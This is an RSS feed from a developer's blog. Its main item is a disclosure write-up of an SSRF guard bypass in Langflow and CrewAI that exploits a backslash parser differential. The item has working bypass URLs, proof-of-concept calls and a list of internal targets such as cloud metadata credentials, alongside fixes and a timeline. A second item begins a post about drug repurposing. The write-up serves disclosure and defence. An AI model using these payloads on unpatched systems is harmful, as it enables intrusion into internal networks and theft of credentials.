<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sushrut Hundikar</title>
    <description>The latest articles on DEV Community by Sushrut Hundikar (@su5hrut).</description>
    <link>https://dev.to/su5hrut</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4057362%2F60ab4e55-71d1-4208-be2d-41c9b47ea582.png</url>
      <title>DEV Community: Sushrut Hundikar</title>
      <link>https://dev.to/su5hrut</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/su5hrut"/>
    <language>en</language>
    <item>
      <title>CVE-2026-19304: Bypassing SSRF Guards with Parser Confusion</title>
      <dc:creator>Sushrut Hundikar</dc:creator>
      <pubDate>Sat, 05 Sep 2026 12:07:58 +0000</pubDate>
      <link>https://dev.to/su5hrut/cve-2026-19304-bypassing-ssrf-guards-with-parser-confusion-g0b</link>
      <guid>https://dev.to/su5hrut/cve-2026-19304-bypassing-ssrf-guards-with-parser-confusion-g0b</guid>
      <description>&lt;p&gt;I found a security flaw in IBM's Langflow and CrewAI that lets attackers reach internal networks. I've been auditing AI agent frameworks. These tools let language models browse the web, run shell commands, call APIs. Big attack surface. I wanted to see how they handle URL fetching.&lt;/p&gt;

&lt;p&gt;I pulled up CrewAI's source and found their SSRF guard. Standard setup: extract hostname with &lt;code&gt;urlparse&lt;/code&gt;, check against a denylist, then fetch with &lt;code&gt;requests&lt;/code&gt;. But &lt;code&gt;requests&lt;/code&gt; uses &lt;code&gt;urllib3&lt;/code&gt; under the hood. Two different URL parsers touching the same input.&lt;/p&gt;

&lt;p&gt;That's a code smell. If they disagree on edge cases, the guard checks one thing while the client connects to another.&lt;/p&gt;

&lt;p&gt;I started fuzzing: unicode, null bytes, double encoding. Nothing. Then I tried special characters in the authority section. Backslash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1:8080\@1.1.1.1/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guard passed. Internal service responded.&lt;/p&gt;

&lt;p&gt;One character. That's the entire exploit.&lt;/p&gt;

&lt;p&gt;The guard parses this URL and sees &lt;code&gt;1.1.1.1&lt;/code&gt;. Public IP, looks safe. The HTTP client parses the same URL and connects to &lt;code&gt;127.0.0.1:8080&lt;/code&gt;. Private IP, not safe at all.&lt;/p&gt;

&lt;p&gt;I checked Langflow next. Same code pattern: &lt;code&gt;urlparse&lt;/code&gt; in the guard, &lt;code&gt;requests&lt;/code&gt; for the fetch. Same payload worked immediately.&lt;/p&gt;

&lt;p&gt;Two major frameworks: &lt;strong&gt;IBM's Langflow&lt;/strong&gt; (&lt;a href="https://www.ibm.com/support/pages/node/7285639" rel="noopener noreferrer"&gt;CVE-2026-19304&lt;/a&gt;) and &lt;strong&gt;CrewAI&lt;/strong&gt; (CVE pending). Different companies, different codebases, same mistake.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bug
&lt;/h2&gt;

&lt;p&gt;Every Python SSRF guard I've audited does something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_private_ip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;blocked&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# different parser runs here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two parsers. One URL. They disagree on what it means.&lt;/p&gt;

&lt;p&gt;Python's &lt;code&gt;urlparse&lt;/code&gt; treats the backslash as a regular character. It reads &lt;code&gt;127.0.0.1:8080\&lt;/code&gt; as a username and &lt;code&gt;1.1.1.1&lt;/code&gt; as the actual host.&lt;/p&gt;

&lt;p&gt;The HTTP library (&lt;code&gt;urllib3&lt;/code&gt;) reads it differently. It extracts &lt;code&gt;127.0.0.1:8080&lt;/code&gt; as the connection target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib3.util&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_url&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8080\@1.1.1.1/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1.1.1.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The guard approves a public IP. The client connects to localhost.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tested across Python versions:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Python&lt;/th&gt;
&lt;th&gt;Guard sees&lt;/th&gt;
&lt;th&gt;Client connects to&lt;/th&gt;
&lt;th&gt;Bypass works&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3.11&lt;/td&gt;
&lt;td&gt;1.1.1.1&lt;/td&gt;
&lt;td&gt;127.0.0.1&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.12&lt;/td&gt;
&lt;td&gt;1.1.1.1&lt;/td&gt;
&lt;td&gt;127.0.0.1&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.13&lt;/td&gt;
&lt;td&gt;1.1.1.1&lt;/td&gt;
&lt;td&gt;127.0.0.1&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  AI Agents Make This Worse
&lt;/h2&gt;

&lt;p&gt;Traditional web apps fetch URLs in limited contexts: profile pictures, webhook callbacks. Small attack surface.&lt;/p&gt;

&lt;p&gt;AI agent frameworks are built to fetch arbitrary URLs. That's the whole point. The agent researches topics, scrapes websites, calls external APIs. The SSRF guard is the only barrier between user input and your internal infrastructure.&lt;/p&gt;

&lt;p&gt;When that guard fails, everything behind the firewall is fair game:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;What leaks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;169.254.169.254&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker network&lt;/td&gt;
&lt;td&gt;Internal APIs, sidecars&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;localhost:9200&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Elasticsearch, Redis, databases&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin panels&lt;/td&gt;
&lt;td&gt;Grafana, Prometheus, internal tools&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Getting Clean Paths
&lt;/h2&gt;

&lt;p&gt;The basic bypass leaves a mangled path (&lt;code&gt;/%5C@1.1.1.1/&lt;/code&gt;). Most services return 404.&lt;/p&gt;

&lt;p&gt;Path traversal fixes that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1:8080\@1.1.1.1/../admin/secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;requests&lt;/code&gt; library normalizes &lt;code&gt;/../&lt;/code&gt; before sending. The internal service receives a clean request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/admin/secrets&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;127.0.0.1:8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Arbitrary host. Arbitrary path. Full response body returned. Complete SSRF with data exfiltration.&lt;/p&gt;




&lt;h2&gt;
  
  
  Affected Frameworks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Langflow (CVE-2026-19304)
&lt;/h3&gt;

&lt;p&gt;Backed by IBM. 152k GitHub stars. Listed in CISA's Known Exploited Vulnerabilities catalog.&lt;/p&gt;

&lt;p&gt;The guard uses &lt;code&gt;urlparse&lt;/code&gt;. The fetcher hands the same URL string to &lt;code&gt;requests&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# lfx/utils/ssrf_protection.py
&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_ip_blocked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;SSRFProtectionError&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;

&lt;span class="c1"&gt;# lfx/utils/ssrf_requests.py
&lt;/span&gt;&lt;span class="nf"&gt;validate_url_for_ssrf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# urllib3 re-parses
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Vulnerable components:&lt;/strong&gt; &lt;code&gt;RSSReaderSimple&lt;/code&gt;, &lt;code&gt;SearXNGToolComponent&lt;/code&gt;. Both ship enabled by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proof:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Blocked
rss_url = "http://172.19.0.3:9000/"
→ SSRFProtectionError

# Bypassed
rss_url = "http://172.19.0.3:9000\@1.1.1.1/../secret.rss"
→ 200 OK, response body returned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Access required:&lt;/strong&gt; Any authenticated user with an API key. No admin privileges needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; CVSS 7.7 High&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; &lt;a href="https://github.com/langflow-ai/langflow/pull/14430" rel="noopener noreferrer"&gt;PR #14430&lt;/a&gt;. Rejects backslash in URL authority. Fixed in Langflow 1.11.3.&lt;/p&gt;




&lt;h3&gt;
  
  
  CrewAI
&lt;/h3&gt;

&lt;p&gt;Powers 65% of Fortune 500 AI deployments. 60k GitHub stars.&lt;/p&gt;

&lt;p&gt;Same bug, same pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# crewai_tools/security/safe_path.py
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getaddrinfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_blocked_ip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;  &lt;span class="c1"&gt;# urllib3 will re-parse this
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Vulnerable component:&lt;/strong&gt; &lt;code&gt;ScrapeWebsiteTool&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proof:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;crewai_tools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ScrapeWebsiteTool&lt;/span&gt;

&lt;span class="c1"&gt;# Blocked
&lt;/span&gt;&lt;span class="nc"&gt;ScrapeWebsiteTool&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;_run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8080/secret&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# → ValueError: private IP
&lt;/span&gt;
&lt;span class="c1"&gt;# Bypassed
&lt;/span&gt;&lt;span class="nc"&gt;ScrapeWebsiteTool&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;_run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8080\@1.1.1.1/../secret&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# → SECRET-CONTENT-HERE
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; &lt;a href="https://github.com/crewAIInc/crewAI/pull/6981" rel="noopener noreferrer"&gt;PR #6981&lt;/a&gt;. Added &lt;code&gt;SSRFProtectedAdapter&lt;/code&gt; that validates the peer IP at connect time. Fixed in &lt;code&gt;crewai-tools&lt;/code&gt; 1.15.17.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE:&lt;/strong&gt; Pending via GitHub Security Advisory.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Fix This
&lt;/h2&gt;

&lt;p&gt;Three options. Any one works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Block the ambiguous character&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%5c&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;backslash not allowed in URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Use the same parser everywhere&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib3.util&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_url&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# same parser the client uses
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_private_ip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;blocked&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Validate at connect time&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Check the resolved IP when the TCP connection actually opens. This is what CrewAI's fix does. Even if the URL parsing is fooled, the real connection gets blocked.&lt;/p&gt;




&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Langflow&lt;/th&gt;
&lt;th&gt;CrewAI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Aug 1&lt;/td&gt;
&lt;td&gt;Reported via HackerOne&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Reported via Bugcrowd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 5&lt;/td&gt;
&lt;td&gt;Triaged&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 7&lt;/td&gt;
&lt;td&gt;Fix merged (&lt;a href="https://github.com/langflow-ai/langflow/pull/14430" rel="noopener noreferrer"&gt;PR #14430&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 15&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Escalated to CERT/CC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 17&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Fix merged (&lt;a href="https://github.com/crewAIInc/crewAI/pull/6981" rel="noopener noreferrer"&gt;PR #6981&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aug 28&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Vendor confirmed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sep 2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;CVE-2026-19304&lt;/strong&gt; assigned&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both vendors shipped fixes within two weeks of receiving the report.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;This bug class isn't new. Orange Tsai presented URL parser differentials at &lt;a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf" rel="noopener noreferrer"&gt;Black Hat 2017&lt;/a&gt;. Python's &lt;code&gt;urlparse&lt;/code&gt; backslash behavior was reported in &lt;a href="https://bugs.python.org/issue35748" rel="noopener noreferrer"&gt;bpo-35748&lt;/a&gt; and closed as "not our bug."&lt;/p&gt;

&lt;p&gt;Nine years later, two major AI frameworks shipped the same vulnerability. Different teams, different companies, same mistake.&lt;/p&gt;

&lt;p&gt;It keeps happening because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;from urllib.parse import urlparse&lt;/code&gt; looks like the right choice&lt;/li&gt;
&lt;li&gt;Unit tests pass. Nobody thinks to test &lt;code&gt;127.0.0.1\@8.8.8.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;SSRF guard code gets copy-pasted between projects&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you maintain Python code that validates URLs: grep for &lt;code&gt;urlparse&lt;/code&gt;, test with the backslash payload. You might have the same bug.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://github.com/sushrut1058" rel="noopener noreferrer"&gt;GitHub: sushrut1058&lt;/a&gt;&lt;br&gt;
&lt;a href="https://badcast.dev" rel="noopener noreferrer"&gt;Blog: badcast.dev&lt;/a&gt;&lt;br&gt;
&lt;a href="mailto:sushrut1058@gmail.com"&gt;Email: sushrut1058@gmail.com&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>vulnerability</category>
      <category>ssrf</category>
    </item>
    <item>
      <title>I Trained Knowledge Graph Embeddings to Find a Cure for My Disease. The Model Found One That Causes It.</title>
      <dc:creator>Sushrut Hundikar</dc:creator>
      <pubDate>Sat, 01 Aug 2026 02:35:30 +0000</pubDate>
      <link>https://dev.to/su5hrut/i-trained-knowledge-graph-embeddings-to-find-a-cure-for-my-disease-the-model-found-one-that-causes-40ok</link>
      <guid>https://dev.to/su5hrut/i-trained-knowledge-graph-embeddings-to-find-a-cure-for-my-disease-the-model-found-one-that-causes-40ok</guid>
      <description>&lt;p&gt;I have ulcerative colitis. It's an autoimmune disease where your immune system attacks your colon. I manage it with medication, but the medication options aren't great; immunosuppressants with side effects you wouldn't wish on anyone. Some days are fine, while others aren't so great.&lt;/p&gt;

&lt;p&gt;I'm not a biologist. I'm a software engineer. But there's this whole field of computational drug repurposing that promises something remarkable and frankly delusional: take a massive database of known biological relationships, train a machine learning model on the patterns, and it can predict which existing drugs might treat new diseases. The drugs are already approved for other conditions, so you skip years of safety testing. Papers get published. Startups get funded. Impressive-looking ranked lists of "novel drug candidates" get produced.&lt;/p&gt;

